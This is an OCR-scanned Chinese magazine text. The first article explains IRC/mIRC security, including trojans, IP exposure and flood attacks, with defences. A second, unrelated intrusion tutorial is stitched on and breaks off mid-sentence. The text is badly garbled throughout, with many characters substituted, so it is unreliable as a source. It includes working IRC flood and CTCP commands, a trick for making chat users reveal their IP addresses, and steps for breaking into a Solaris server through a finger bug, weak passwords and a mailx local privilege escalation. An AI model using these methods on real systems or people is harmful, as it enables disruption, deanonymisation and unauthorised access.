时 间 同 时 上 网 , 用 非常 低 的 费用 就 开 “ 密 友 CHAT”

了 。

3. 可 以 单独 和 某 人 进行 秘密 交谈 , 甚 至 可 以 不

用 通过 服务 器 ,这 样 可 以 保证 谈话 的 保密 性 。 所 以 ,很

多 活动 , 可 以 使 用 这 个 软件 轻松 实现 比较 安全 保密 的

4. 界面 友好 , 设置 容易 , 不 用 什么 特殊 的 设置 就

可 以 使 用 这 个 软件 了 , 要 是 还 觉得 麻烦 的 话 , 那 就 二

脆 将 一 些 做 好 的 BOT 装 上 , 可 以 完成 很 多 你 想到 和

想不到 的 效果 。

IRC 里 面 也 出 现 了 很 多 攻击 手段 例如 : 木马 , 获

得 下 , Flood, Decc Flood, 等 等 。

本 文 介绍 了 这 些 方法 的 原理 和 防御 措施 。 读 完 本

文 以 后 , 我 想 读者 应 该 能 够 在 IRC 聊天 室 里 面 穿 行

如 。

JRC 安全 常识

这 部 分 介绍 基本 的 IRC 安全 知识 , 以 及 Mirc 的

一 些 安全 设置 。

1. 在 陌生 的 IRC 里 面 不 要 使 用 你 的 真名 字 , 也

不 要 随意 透露 你 的 电话 , 家 庭 住址 , QQ 号 码 什么 的 ,

免得 半夜 鬼 敲 门 。

2.IRC 的 用 户 信息 不 要 如 实 填写 。 特 别 是 名 字 和

Email。Mirc 用 户 按 Alt + 0 ,在 弹出 的 对 话 框 的 连接 选

项 中 可 以 修改 个 人 信息 。 名 字 只 要 不 是 你 的 真名 就 可

以 , 最 好 填 上 你 常用 的 Nick ,Email 填 Yourmick@

irc. com 好 了 。 接 着 把 下 面 那个 隐藏 模式 选 上 ,用 处 不

是 很 大 ,但 比 没有 好 。

3. 不 要 轻易 地 相信 不 邹 悉 的 人 的 话 。 这 点 可 以

引起 很 多 的 了 蕉 C 问题 , 比如 暴露 你 的 卫 , 或 者 使 你 的

电脑 蓝屏 。 举 例 来 说 :

经 常 可 以 看 到 这 样 的 话 :

请 大 家 双击 - -> http: /ALXXXCXX

更 有 甚 者 , 把 http 后 面 的 内 容 改 成 和 背景 色 一

样 。 比 如 日 色 ,你 看 到 的 就 是 这 样 的

请 大 家 双击 - - , 很 好 看 的 哦 。

那个 UREL 可 以 连 到 他 自己 的 电脑 上 , 用 来 骗取

你 的 下, 也 可 以 是 炸弹 的 地 址 ,引诱 你 上 色 ,一 且 你 点

了 ,机 器 立刻 就 蓝屏 了 。

4. 不 要 和 陌生 人 使 用 DCC Chat 也 不 要 轻易 接

收入 家 DCC 给 你 的 文件 , 特 别 是 一 些 可 以 运行 的 文

件 (以 “exe”,“vbs”,“com”,“bat”,“pif,“scr”,

“lnk “js "等 为 后 缀 的 文件 ) ,很 可 能 是 恶意 文件 。 在

Mirc 中 按 Alt+0 -> DCC 把 发 送 请 求 和 聊天 请 求

都 选 成 显示 聊天 对 话 框 , 如 果 选 择 自动 获得 /接受 的

话 , 一 来 容易 收 到 恶意 程序 , 二 来 也 给 攻击 者 使 用

DCC flood 提供 了 方便 。DCC 选项 中 的 "文件 夹子 选

项 可 以 设置 能 接收 的 文件 类 型 , 推荐 为 : 打开 忽略 文

件 除 了 : 大 .jpg, 关 .gif, 关 .png, 火 . bmp, 大 .txt, 大

.log, 类. wav, 火 . mid, 火 . mp3, 类 .zip 。

关于 IC 本 马

除了 网 上 流行 的 一 些 常见 木马 程序 , 比 如 冰河 ,

Sub7 等 , 我 们 还 要 注意 一 些 不 常见 的 针对 阴 C 的 木

马 和 病毒 。 大 部 分 木马 都 有 很 好 的 隐蔽 性 , 别人 可 以

通过 它 远 程控 制 你 的 机 器 , 用 它 来 窃取 你 的 信息 , 村

取 IRC 频道 权限 , 或 者 是 利用 你 的 机 器 发 动 DOS 攻

击 等 ,总 之 ,一 旦 中 了 木马 , 爱 机 的 命运 就 掌握 在 别人

手 上 了 。 木 马 一 般 不 会 自动 运行 ,往往 绑 定 在 别 的 一

些 应 用 程序 中 , 一 旦 你 运行 了 这 些 带 木马 的 程序 , 木

马 也 就 启动 了 。 我 们 这 里 把 一 些 有 名 的 耻 C 木马 和 病

毒 列 举 出 来 ,希望 能 为 保护 你 的 爱 机 做 点 “贡献 ”。

1. Srvcp. exe

如 果 你 发 现 你 突然 以 “Drones” 或 “Clonebots” 的 名

义 被 杀 线 (人 -lined), 那么 你 很 可 能 就 是 中 了 这 玩意

2

2. Link. vbs

Link. vbs 是 一 段 VBSceript 程序 。 它 会 把 自己 发 送

到 你 Outlook 地 址 竹 里 的 每 个 人 。 同 时 , 它 也 会 在 Mire

和 Pirch 上 增加 脚本 , 使 得 别人 一 加 入 你 所 在 的 频道 ,

它 就 会 自动 地 用 DCC 向 来 者 发 送 上 自已 。

3. Back Orifice 和 NetBus

功能 强大 的 木马 , 无 须 多 说 , 目前 的 杀毒 软件 都

能 够 杀 除 它们 ,到 Pechome. net 下 载 金山 毒霸 即 可 。

4,、Script. ini

Script. ini 是 Mire 默认 的 脚本 文件 , 很 容易 成 为

目标 。Mire 会 自动 加 载 这 个 文件 .并 且 有 很 多 的 功能 ,

比如 窃听 你 和 别人 的 谈话 ,利用 你 的 Mire 来 执行 IRC

命令 ,抢占 频道 ,并 且 会 自动 向 IRC 用 户 分 发 自己 ,以

达到 传播 的 目的 。

S,、Dimsetup. exe

常 把 自己 伪装 成 ”xcocex, jpg. com”, 这 样 在 957/98

里 面 看 上 去 将 是 一 张 jpg 图 片 ,大 小 约 8OK。

一 且 木 马 运行 , 它 首 先 会 把 自己 复制 到 c:\ win-

doom. exe c: \windows\Freeporn. exe , 在 autoexec. bat

文件 最 后 增加 2 行内 容 , 然 后 会 在 你 的 C:\ 和 c:、

program files 文件 夹 里 面 创建 几 万 个 文件 夹 出 来 , 具

体 数 目 看 你 的 硬盘 容量 了 。

6. 除了 上 面 这 些 , 还 有 很 多 知名 Mirc 木马 , 可

以 访问 PC100 的 站 点 看 详细 介绍 ;

http: / /www. irchelp. org/irchelp/securityvtro-

jan. html 。

其 实 , 有 过 Mire Script 编程 经 验 的 人 都 知道 , 利

用 Mire 脚本 ,是 很 容易 写 出 木马 的 。 以 下 几 点 可 以 防

止 机 器 被 木马 感染 ;

1. 不 要 下 载 那 些 你 不 能 确定 是 否 安全 的 文件 ,

特别 是 一 些 个 人 站 点 上 的 东西 , 小 心 “糖衣 炮弹 ”,

Mire Script 也 不 要 随意 使 用 。 频 道里 面 打 出 来 的 URL

也 不 要 随意 的 点 击 。

2. 下 载 的 文件 要 注意 查看 扩展 名 , Windows 默认

是 隐藏 最 后 一 个 扩展 名 的 ,所 以 有 时 你 拿 到 Plmm. jpg

的 时 候 , 不 要 急 着 看 ,多 看 看 扩展 名 也 无 妨 。

3. 不 要 使 用 Mire 的 DCC 自动 接收 功能 。

4. 在 Mirc 频道 中 ,别人 让 你 打 什么 命令 ,如 果 你

不 熟悉 就 不 要 用 。

5. 安装 一 个 杀毒 软件 ,如 “金山 毒 霜 "。

关于 IRC 聊天 塞 里

和 露 了 的 问题

对 于 个 人 上 网 来 说 , 卫 一 旦 暴露 了 , 炸弹 随 之 也

就 来 了 。 网 上 很 多 人 都 会 很 乐意 地 帮 你 省 网 费 ( 炸 你

下 线 )。 不 过 ,和 MM 聊天 正在 兴 头 上 , 断 了 线 总 是 一

件 不 更 的 事情 。 虽 然 断 线 对 你 电脑 里 面 的 东西 没有 什

么 损失 ,不 像 有 的 病毒 和 木马 , 又 删 又 改 的 ,但 是 各 位

也 都 不 想 成 为 被 炸 目 标 吧 。 那 么 ,在 IC 中 是 如 何 暴

露 自己 的 耳 地 址 的 呢 ? 方法 主要 可 以 分 两 类 ,一 类 是

骗 ,一 类 是 查 。 如 何 骗 呢 ?

1. 在 自己 的 Mire 里 面 输入 命令 //echo $ip 看

看 。 是 不 是 出 来 的 了 了 ? 对 了 ! 那个 卫 就 是 你 自己

在 网 上 的 瑟 地 址 , 当 然 , 用 这 个 命令 别人 是 看 不 到

的 。 把 Echo 改 成 //say 或 者 /]me 之 类 的 试 试看 ,

整个 频道 的 人 就 都 知道 了 。 以 前 我 在 聊天 室 里 面 说 :

大 家 打 //say $ip 看 看 , 很 有 意思 的 , 名 字 会 变色 呢 ,

刷 的 就 出 来 好 些 卫 来 。

2. 大 家 都 知道 很 多 论坛 、BBS 都 会 把 访问 者 的

IP 如 实 的 记录 下 来 ,而 且 别 人 可 以 查看 。 所 以 ,只 要 驴

别人 访问 某 个 BBS 论坛 ,然后 去 看 记录 就 可 以 了 。

3. 在 自己 的 机 器 装 查 卫 的 工具 ,然后 , 骗 人 家 访

问 你 的 机 器 。 人 家 -一旦 访问 了 你 的 机 器 ,了 就 时 出 来

以 上 这 些 只 要 你 自己 小 心 , 不 要 随意 相信 别人 的

话 就 可 以 了 。 用 查 的 方法 ,自己 恐怕 就 无 能 为 力 了 。 如

何 查 呢 ? 先 来 熟悉 2 个 IC 命令 ,

看 到 了 么 ? 两 个 命令 的 执行 结果 里 面 都 有

~jing zhuQ@ 127. 0. 0. FastNet - 14601

其 中 的 127. 0. 0. FastNet - 14601 就 是 你 的 卫 , 当

然 这 个 是 Mask 过 的 ,最 后 一 位 无 法 得 知 。 这 是 因为 连

接 服 务 器 的 时 候 , 执 行 过 /mode nick +x 的 结果 。

我 们 现在 把 + 和 去掉 看 看

用 户 spirngold 运行 下 面 的 命令

我 是 在 本 机 测试 的 。 可 以 看 到 , 执 行 过 /mode

nick -x 以 后 ,对 了 琴 地 址 的 Mask 也 去 掉 了 ,任何 人 只

要 执行 /whois yournick 就 可 以 得 到 你 的 下 .所 以 在 连

进 IRC 的 时 候 ,请 先 执行 下 面 的 命令 :

/mode yournick +X

但 是 ,是 不 是 +X 之 后 卫 就 安全 了 呢 ? 完全 不 是

的 。 还 是 有 别 的 方法 可 以 查 清楚 最 后 那个 Mask 过 的

数字 。 以 前 很 多 的 IRC 服务 器 都 有 个 漏洞 ,利用 /who

命令 就 可 以 查 出 别人 的 耳 ,现在 国内 的 IRC 服务 器 好

些 都 没有 这 个 漏洞 了 ,不 过 很 多 了 C 经 常 更 换 服务 器

软件 ,难保 以 后 不 磁 上 。 这 里 只 给 点 提示 ;

执行 过 上 面 的 /whois 之 后 我 们 得 到 了 一 个 Mask

过 的 127. 0. 0. FastNet - 14601

可 以 看 出 来 /whe 后 面 跟 卫 , 可 以 查 出 了 正 所 在

的 用 户 。 所 以 :

执行 255 次 ? 自己 去 想 吧 , 不 过 数目 是 远 小 于

255 的 ,不 然 不 是 要 累 死 人 ? 当然 如 果 你 会 Mirc Script

就 更 好 了 。 写 个 脚本 查 也 不 是 特别 难 。

刚才 说 了 , 目前 的 服务 器 很 多 都 不 能 这 么 查 了 。

有 别 的 方法 么 ?当然 啦 。 既 然 已 经 知道 了 前 面 三 位 卫 ,

最 后 一 个 Mask 过 的 要 知道 也 不 是 很 难 。 用 个 扫描 软

件 scan 一 下 那个 C 段 , 从 出 来 的 几 个 瑟 里 面 再 猜 吧 ,

如 果 扫 描 结果 只 有 一 个 , 那 猜 也 不 用 猜 了 。 如 果 和 前

面 说 的 骗 的 方法 相 结合 ,也 能 收 到 很 好 的 效果 。

针对 了 严 的 攻击 一 般 有 两 种 , 一 种 就 是 我 们 常 说

的 "NUKE”, 它 利用 95/98 系统 的 一 些 Bug 进行 攻击 ,

通常 攻击 的 结果 都 是 死机 或 者 蓝屏 ,所 以 通常 也 叫 蓝

屏 炸 弹 。 另 外 一 种 就 是 D0S, 向 你 的 机 器 发 送 大 量 的

数据 包 , 导致 你 的 网 络 带宽 消耗 殉 尽 , 正常 的 数据 包

无 法 正常 收发 。 要 防止 Nuke, 只 要 你 安装 最 新 版 本 的

98 系统 , 或 者 打上 补丁 就 可 以 。 对 付 DO0S, 可 以 使 用

防火 墙 , Lockdown, 天 网 的 效果 都 还 不 错 , 其 中 Lock-

down 还 有 查 杀 木马 的 功能 ,值得 一 试 。

基于 了 了 C 的 Elood 以 及 防御 方法

前 面 说 了 基于 IRC 的 木马 和 暴露 卫 所 引起 的 一

些 攻 击 方法 。 事 实 上 ,在 阴 C 里 面 你 所 能 碰 到 的 攻击

手段 大 部 分 都 是 基于 Mire 的 Mood 攻击 。

何谓 了 iood ? Flood 在 英语 里 的 本 意 为 洪水 , 在

网 络 里 , 我 们 把 使 用 大 量 的 数据 来 使 网 络 资源 减少 的

攻击 叫做 了 ood。 在 了 RC 里 面 ,你 所 见 的 大 部 分 信息 都

可 以 被 别有用心 的 人 利用 起 来 进行 Riood 攻击 , 比 如

JoinyPart 频道 , 说 话 的 Msg , Notice , 动作 (Ame ), 改 ,

名 字 等 等 ,只 要 重复 的 速度 够 快 ,次 数 够 多 ,就 形成 了

Flood。 好 ,我 们 来 看 看 具体 的 一 些 Flood 手段 。

1. Text Flood

这 种 lood 是 最 常用 的 。 一 般 用 户 最 容易 想到 的

就 是 这 种 Flood。 在 频道 里 面 打 人 一 句 话 :

/Say XXX (xz 为 任意 的 内 容 , 后 同 )

或 者

[mnsg # XXX

这 里 的 # 可 以 改 成 人 名 或 者 具体 的 频道 名 。 然

后 不 断 的 按 T Enter ,或 者 Ctrls +V , Ctrl +V 不 断 地

向 频道 /或 个 人 发 送 同样 的 一 句 话 。 你 看 到 的 结果 是

这 样 的

[06: 18:50] y> > > > > > > yy

全 全 夫 直 | 全 全 直 才 夫 会: 直 才 窗

[06: 18: 50] y> > > > > > > yy

最 快 只 能 每 秒 发 送 5 句 , 虽然 不 会 搞 得 你 死机 和

断 线 , 不 过 不 采取 点 措施 , 想 正常 聊天 是 不 大 可 能

了 。 这 种 攻击 方法 有 个 浆 端 , 就 是 攻击 者 自己 也 一 名

不 拉 地 看 到 这 些 话 , 所 以 他 们 自己 也 别 想 好 好 的 聊天

生 汉

如 果 攻 击 是 针对 你 个 人 的 ,使 用 Ignore 命令

/ignore nick

即 可 把 该 用 户 忽略 。 发 自 该 用 户 的 所 有 消息 都 将

被 服务 器 过 滤 掉 ,不 会 发 到 你 的 客户 端 。

如 果 攻 击 是 针对 一 个 频道 的 , 则 由 频道 管理 员

(管理 员 的 名 字 前 面 有 @ ) 给 该 用 户 +B, 即 我 们 通

常 所 说 的 Ban。

Ban 命令 的 基本 用 法 是 :

/ban nick mn n 可 以 取 1 ~ 8, 也 可 以 不 要 ,Ban

会 使 用 默认 的 数字 。

Ban 了 以 后 ,攻击 者 将 看 到 下 面 的 消息 :

[07:31: 42] 类 类 炎 springold 设 定 模式 : +b 大 !

大 @ 127. 0. 0. FastNet - 14601

[07: 31: 30] YXXXXXXXXXXXXX

#test 不 能 向 频道 里 发 送信 息 (You are banned) 。

这 时 , 他 的 话 已 经 无 法 送 到 频道 , floold 自然 也 就

失效 。

2. Action Flood

重复 使 用

Ame ( 式 为 随意 内 容 )

引起 Pood ,造成 的 影响 和 上 面 的 差不多 。 不 过 攻

击 者 自己 可 以 不 必 看 到 发 出 的 内 容 (后 面 以 来 代

替 ) , 只 要 在 Me 的 前 面 加 个 小 逼 点 . 就 可 以 , 也 就 是

/. me 。 你 看 到 的 攻击 效果 如 下 :

[06: 3$: 30] 类 test

防御 方法 同上 。

3. Notice 了 iood

威力 比 上 面 两 个 都 大 些 , 上 面 的 攻击 你 切换 到 另

外 一 个 频道 , 也 就 看 不 到 了 , 而 这 个 , 躲 是 躲 不 掉 的 ,

无 论 你 的 窗口 切换 到 哪个 频道 或 小 窗 , 都 可 以 看 到 。

和 /. me 一 样 。 Notice 也 可 以 使 用 /. notice 来 消除

攻击 对 攻击 者 自己 带 来 的 影响 :

Anotice springold Xococcocxx

/notice 提 XXXXXX

前 一 名 针对 个 人 ,后 一 句 针 对 频道

道 的 人 都 可 以 看 到 。 看 到 的 信息 如 下

[06: 43: 44] 一 test -

[06: 45: 03] 一 test: #test 一

攻击 者 可 以 看 出 来 都 是 Test 用 户 。

4. Nick Elood

以 很 快 的 速度 改名 字 也 同样 可 以 形成 Flood。 效

果 和 Text 了 ood 一 样 ,不 过 范围 更 大 ,只 要 是 攻击 者 所

在 的 频道 ,都 受到 攻击 。 不 断 重 复 下 面 的 命令

/ALnick 和 rand(a, z)

即 可 形成 Bood。 看 具体 攻击 效果 :

[06: 54: 59] 类 大 炎 e 现在 命名 为 b

[06: 55: 10] 大 炎 x b 现在 命名 为 4

[06: 5$: 10] 炎炎 d 现在 命名 为 1

对 付 这 种 攻击 很 简单 ,把 它 Ban 了 就 可 以 ,被 Ban

的 用 户 是 不 能 改名 字 的 ,

当然 前 提 是 你 要 有 @ 。 如 果 一 个 频道 没有 一 个

人 有 帽子 , 那 只 能 去 #help 频道 请 系统 的 管理 员 Oper

来 了 。 如 果 Oper 也 不 在 , 那 只 能 任 由 他 胡作非为 了 。

s.join/part flood

一 个 用 户 进出 频道 的 时 候 , 我 们 可 以 看 到 如 下 的

, 所 有 在 该 频

(针对 个 人 )

(针对 频道 )

[07: 1 10] 类 xx 炎 m3 (~lingzhu @

127. 0. 0. FastNet - 14601) 离开 ##est

[07: 1: 159] 类 大 大 m3 (~lingzhu @

127. 0. 0. FastNet - 14601) 参加 #test

如 果 一 个 人 不 停 地 join/part, 人 也 就 形成 了 join/

part flood。Join/part flood 通常 是 要 写 脚 本 来 完成 的 。

要 防止 join/ypart flood ,把 他 Ban 掉 就 可 以 了 。 被

Ban 的 用 户 一 旦 离开 频道 便 无 法 再 次 加 入 频道 ,直到

解除 Ban。

0. Ctcp Flood

Ctcp 攻击 的 效果 比 上 面 的 要 厉害 些 。 具 体 的 Ctcp

”攻击 有 以 下 几 种 :

/ctcp nick ping

果 。

/ctcp nick version

/ctcp nick time

/cticp nick finger

受 攻击 者 看 到 的 效果 是 这 样 的 :

[07: 21: 131 [m3 PINGC]

[07: 21: 16] [m3 VERSION]

[07: 21: 20] [m3 TIME]

[07: 21: 23] [m3 FINCER]

ma3 为 攻击 者 的 名 字 。

连续 不 断 地 发 送 /ctecp nick ping :

[07: $2:51] -> [springold] PINC

[07: 52: 51] [springold PING Reply]: Ssecs

[07: $52: S2] -> [springold] PINC

[07: 92: S2] [springold PING Reply]: 8secs

从 后 面 的 Reply( 回 复 ) 的 速度 上 可 以 看 出 攻击 效

和 前 面 的 /notice /me 等 一 样 ,同样 也 可 以 使 用

/. etcp 来 消除 攻击 对 自己 的 一 些 影响 。

7.DCC flood ,

包括 DCC chat 和 DCC send 两 种 。 如 果 你 的 DCC

选项 设置 成 忽略 , 那 这 种 攻击 是 无 效 的。 如 果 你 的

DCC 设置 是 自动 接受 的 , 那 效果 就 比较 明显” 了 。 具

体 的 攻击 脚本 我 这 里 不 提供 给 大 家 , 大 家 有 兴趣 测试

的 话 可 以 到 一 些 Mire Script 网 站 上 面 去 找 。

防止 这 种 攻击 同样 也 可 以 使 用 /ignore 命令 。

除了 上 面 说 的 这 些 攻击 方法 外 , 还 有 另外 一 些 攻

击 的 手段 , 不 过 用 的 不 是 很 多 , 比如 opydeop( 加 幅 子

也 能 用 来 攻击 ? ) kick/invite 等 等 , 这 里 不 再 详细 讨

论 。 需 要 指出 的 是 ,以 上 都 是 用 手工 完成 的 。 事 实 上 ,,

攻击 者 往往 是 使 用 了 脚本 的 。 一 来 方便 , 二 来 效果 也

更 加 明显 。 很 多 的 时 候 , 用 手工 来 对 付 基于 脚本 的 攻

击 是 来 不 及 的 。 一 旦 攻击 开始 , 你 向 服务 器 发 送 的 所

有 命令 都 无 法 正确 得 到 执行 , 因为 资源 都 被 攻击 者 占

用 了 。

攻击 的 脚本 往往 都 使 用 /imer 命令 或 者 使 用

循环 语句 。 有 关 /timer 命令 的 用 法 可 以 看 mirc 自 带

的 帮助 文件 ,也 可 以 访问 http: / /xirc. yeah. net

句 :

这 里 我 举 一 个 最 简单 的 例子 :

/timer 100 1 7/.meit'sjustatest1lll

这 条 语句 将 以 每 秒 一 名 的 速度 向 频道 发 送 100

ROADEASRGOORSRTSYTD

TS

[08: 02: 08] 类 m3 it?s just atest !111

下 面 简单 介绍 一 下 了 ood Protect 脚本 的 写作 思

路 。 我 们 先 来 看 一 个 最 基本 的 保护 脚本 例子 :

这 段 脚本 是 针对 Action flood a channel 的 。 脚

本 的 主要 思路 是 这 样 的 :

先 判断 是 和 否 自 己 发 出 的 /me 动作 , 如 果 不 是 , 再

判断 是 否 为 Sap, 因 为 Slap 通常 都 是 朋友 开玩笑 的 ,

所 以 也 过 滤 掉 。 如 果 两 者 都 不 是 ,就 开始 统计 次 数 :

inc % seif - protection. action [ 丰 + 『 $nick ] 忆 + [

$chan ] ]

Ame 一 次 变量 %self - protection. action [和 + [

和 nick ] $+ [ $chan ] ] 的 次 数 加 一

另外 再 设置 一 个 定时 器 :

.timer 1 4 /unset % self - protection, action [ 囊 二

[ $nick ]$+ [ 书 chan ] ]

它 的 意思 是 , 每 过 4 秒 就 把 变量 % self - protec-

tion. action [ $+ [Sanick]$+ [TS$chan ] ] 的 值 重

置 。 接着 就 是 判断 是 否 形 成 Flood 以 及 做 出 相应 的

处 理 了 。

计 ( 和 self -protection. action [和 + [$nick ] 委 +

[$han]]> 6)

判断 是 否 在 4 秒 内 发 送 了 6 名 以 上 的 Action ,

如 果 是 ,就 进行 相应 的 处 理 。 这 里 ,我 们 对 自己 在 频道

中 有 帽子 和 没有 帽子 作 了 不 同 的 处 理 。

如 果 有 帽子 :

它 的 意思 是 , 把 该 用 户 Ban 掉 60 秒 , 然后 踢 出 频

道 , 这 样 他 就 无 法 在 60 秒 内 再 加 入 频道 进行 攻击 。

如 果 没 有 帽子 ,就 执行 下 面 的 脚本 :

先 忽略 该 用 户 的 /me 消息 30 秒 , 然 后 给 自己 发

送 一 条 消息 , 通知 有 人 使 用 Acetion flood 你 , 并 且 已 经

被 自己 忽略 了 。 接 着 给 攻击 者 发 送 一 条 Do Not

FElood 4 $me _14. 1 You were Ignored now. 的 警告 。 根

据 这 个 思路 ,可 以 写 出 很 多 防卫 脚本 来 保护 自己 。

为 了 躲避 脚本 的 防卫 , 攻击 者 的 脚本 往往 是 多 种

攻击 相 结合 的 。 比 如 针对 上 面 的 防卫 脚本 , 攻击 者 只

要 发 送 了 5 句 之 后 ,就 换 成 别 的 攻击 ,脚本 的 Flood 判

断 就 无 法 触发 。 防 卫 也 就 失去 了 作用 , 攻击 者 再 用 了

别 的 了 ood 之 后 , 还 可 以 转 回 来 用 Action Flood , 因 为

4 秘 时 间 一 过 ,变量 被 重 置 , 计 数 又 重新 开始 了 。

有 一 定 脚本 使 用 经 验 的 攻击 者 往往 都 使 用 一 种

更 加 厉害 的 攻击 方法 , 那 就 是 Clone 。

被 Clone Flood 过 的 人 往往 都 是 “ 谈 Clone 色

变 ”。 那 么 ,何谓 “Clone”? Clone 就 是 用 一 个 Mirc , 利

用 Socket 编程 复制 很 多 个 用 户 连接 到 IRC 服务 器 上 ,

这 些 在 同一 个 Mirc 上 面 的 用 户 就 是 Clone。Clone 攻

击 的 威力 是 很 大 的 , 因 为 所 有 Clone 用 户 可 以 一 起 使

用 前 面 所 说 的 各 种 攻击 ,比如 你 Clone 了 20 个 用 户 上

Action Flood ,就 相当 于 你 纠集 了 20 个 同 党 一 起 Action

Hood , 威力 是 你 单个 人 攻击 的 20 倍 , 而 且 事 实 上 , 脚

本 的 速度 往往 比 手工 快 ,攻击 者 为 了 达到 好 的 攻击 效

果 ,Clone 数目 往往 是 50 个 甚至 是 上 百 个 , 威力 就 会

成 倍增 长 。 了 HRC 用 户 一 且 碰 到 这 样 的 攻击 , 往往 是 屏

幕 定 住 , 机 器 没有 任何 响应 , 不 得 不 强行 结束 任务 或

者 是 重新 启动 ,别提 IRC 里 面 泡 MM 了 。 在 实际 的 测

试 中 , 如 果 对 一 个 频道 进行 Clone 20 个 人 的 Pood ,用

不 了 多 久 , 频 道里 面 90% 以 上 的 人 就 会 因为 和 服务

器 的 响应 时 间 过 长 而 断 掉 。Clone 脚本 我 这 里 不 便 提

供给 大 家 , 只 提供 几 张 clone 攻击 的 截图 给 大 家 ” 欣

3

如 :图 1 图 2 图 3

这 和

Eee

CaanetaJ2D -~- -cv

防 和 这

样 的 攻击 有

一 定 的 难

度 , 以 前 面

的 那 段 脚本

为 例 , 如 果

每 个 Clone

都 只 Action

5 次 ,那么 是

不 会 触发 防御 脚本 的 , 但 是 如 果 有 50 个 Clone 的 话 ,

你 将 收 到 5x* 50 = 250 条 消息 ,而 且 时 间 很 短 ,威力 已

经 比较 大 了 , 如果 和 别 的 攻击 一 结合 , 命中 率 简直 可

以 到 100% 。 如 何 防止 Clone 攻击 呢 ?

对 于 频道 来 说 ,可 以 :

/mode #channel +k password

也 可 以 设置 成 只 邀请 模式 , 这 样 别 人 就 不 能 随意

进入 频道 , Clone 自然 也 进 不 来 。 对 于 个 人 , 恐怕 只 有

断 掉 Mirc( 或 者 重新 启动 机 器 ), 重新 连 进 去 , 先 执行

者 的 瑟 ,Whois 查 出 来 的 Mask 过 的 就 可 以 ) , 然 后 再

进去 聊天 。

该 说 的 都 说 了 , 最 后 再 作 几 点 小 小 的 补充 说 明

吧 :

1. Mire 里 面 所 有 的 命令 默认 都 是 以 / 开头 的 。

至 于 命令 本 身 , 在 你 平时 说 话 的 地 方 输入 , 涡 回 车 就

可 以 了 。

2. 前 面 多 处 提 到 了 Ignore 命令 ,这 里 针对 这 个 命

令 作 个 说 明 ,

/ignore nick 3 彻底 的 忽略 掉 一 个 人 ;

/ignore nick 4 忽略 所 有 和 该 Nick 同 卫 的 人 ;

/ignore -tmnick 3 忽略 该 Nick 对 你 的 Ctcp ;

/ignore -t 炎 ! 类 @ 大 忽略 所 有 的 Ctcp 。

更 具体 的 用 法 请 看 mirc 的 帮助 文件 。

3. 千 万 不 要 用 Web 上 IRC, 那 样 毫 无 安全 性 能

可 言 , 上 面 说 的 任何 一 种 攻击 手段 对 Webchat 用 户 来

说 都 将 是 致命 的 。

4. Mire 自己 带 了 个 了 Pood 设置 , 不 过 比较 傻 , 有

体位 置 是 RileZOptions/yElood/y ,自己 去 搞定 吧 。

5. Linux 用 户 于 万 不 要 以 Root 身份 上 IRC, 更 不

要 在 网 站 的 服务 器 上 面 上 IRC。

6. 请 不 要 使 用 本 文 提 及 的 方法 去 攻击 他 人 , 否

则 一 切 后果 自 己 负责 。 人

一 次 Vignore Xxx. XXX. XX. XX

黑客 永远 是 走 在 技术 尖端 的 人 , 永远 追求 最 高 和

最 尖端 的 技术 并 达到 狂热 的 程度 , 才 能 被 人 称 为 黑

客 ,黑客 是 别人 给 的 评价 ,而 不 是 自封 的 (援引 NetDe-

mon 的 话 ,我 非常 赞同 )。 我 们 大 部 分 人 都 不 能 称 之 为

黑客 ,所 以 文中 我 用 人 侵 者 这 个 词语 。。 看 着 linux 里

面 的 源 代码 , 再 看 看 他 们 的 作者 , 很 少 能 看 到 中 国人

的 身影 ,中国 的 黑客 们 还 有 很 长 的 路 要 走 。

此 文 针 对 新 手 ,“ 真 正 ” 黑客 级 别 的 就 不 用 看 了 ,

这 篇 文章 对 于 你 们 来 说 是 太 菜 了 。 我 想 上 网 多 年 的 朋

友 们 一 定 记 得 coolfire 的 人 侵 教程 , 那 是 一 篇 揭 开 人

侵 者 神秘 面纱 的 初级 文章 。 无 数 刚 学 会 拨号 上 网 的 少

年 ,看 着 coolfirede 文章 ,依然 热血 沸腾 。 我 也 不 例外 ,

它 让 我 从 此 迷恋 上 了 网 络 。 可 是 许多 新 手 和 当年 的 我

一 样 , 看 完 网 络 上 入侵 的 教学 篇 后 依然 不 知 所 措 。 为

了 让 大 家 节省 时 间 , 少 走 弯路 , 我 就 结合 我 的 经 验 来

谈 谈 普通 的 入侵 方式 。 网 友 们 看 过 此 文 后 , 千 万 不 要

做 违法 的 事 , 因为 法 律 是 无 情 的 。

首先 ,我 们 要 确立 目标 。 要 尽量 收集 目标 的 信息 ,

如 目标 上 运行 的 是 什么 操作 系统 , 它 开 了 哪些 服务

等 。 我 们 最 好 用 nmap 扫描 器 对 目标 进行 扫描, 顺便 提

一 句 ,nmap 扫描 器 是 unix 平台 下 扫描 器 ,新 手 们 最 好

能 熟练 的 使 用 它 ( 见 Nmap 扫描 说 明 )。 以 下 是 对 某 目

标 扫描 的 结果 。 我 们 分 析 一 下 。

文 / 处 理 器

通过 扫描 , 我 们 可 以 看 到 这 是 一 台 solaris 2. 6 -

2. 7(sun microsystem 公司 的 服务 器 ), 服务 比较 多 , 其

实 对 于 这 个 公司 来 说 , 根 本 没有 必要 开 这 人 么 多 服务 ,

我 敢 这 么 说 , 有 些 服务 他 们 可 能 都 不 知道 是 什么 , 可

是 这 人 么 多 服务 对 我 们 的 人 侵 就 比较 有 好 处 .有些 服务

当然 对 我 们 也 没有 什么 用 , 如 daytime,xiaudio 等 服

务 。 有 finger 服务 ,我 们 可 以 得 到 用 户 信息 ,输入 命令

加 finger -1 @ xxx. XXX. DC XXX, 如 果 没 有 人 登陆 到 这

台 服 务 器 的 话 ,你 fnger 不 到 有 用 的 信息 , 别 灰心 ,sun

服务 器 的 finger 服务 有 个 bug, 那 就 是 你 输入 fnger

12 @ xx. xc xcc xx( 只 要 @ 前面 是 数字 的 就 可 以

了 ), 你 就 可 以 得 到 所 有 登陆 过 这 人 台 服 务 器 的 用 户 信

息 。 以 下 是 finger 的 结果 :

国内 服务 器 上 的 用 户 比 较 少 , 不 象 一

务 器 ,用户 多 的 不 得 了 。 有 了 用 户 名 , 你 就 可 以 telnet

试 试 了 , 看 能 不 能 磁 到 几 个 傻瓜 用 户 。 如 果 碰 巧 进入

了 , 你 就 happy 了 , 即使 是 普通 用 户 ,可 离 root 已 不 是

很 遥远 了 。 这 人 台 服 务 器 就 是 这 种 情况 ,我 用 liu1971 这

个 用 户 进入 了 , 因为 他 的 密码 和 用 户 名 一 样 , 然 后 我

通过 本 地 漏洞 提升 为 root, 就 是 sun 的 mailx 程序 , 这

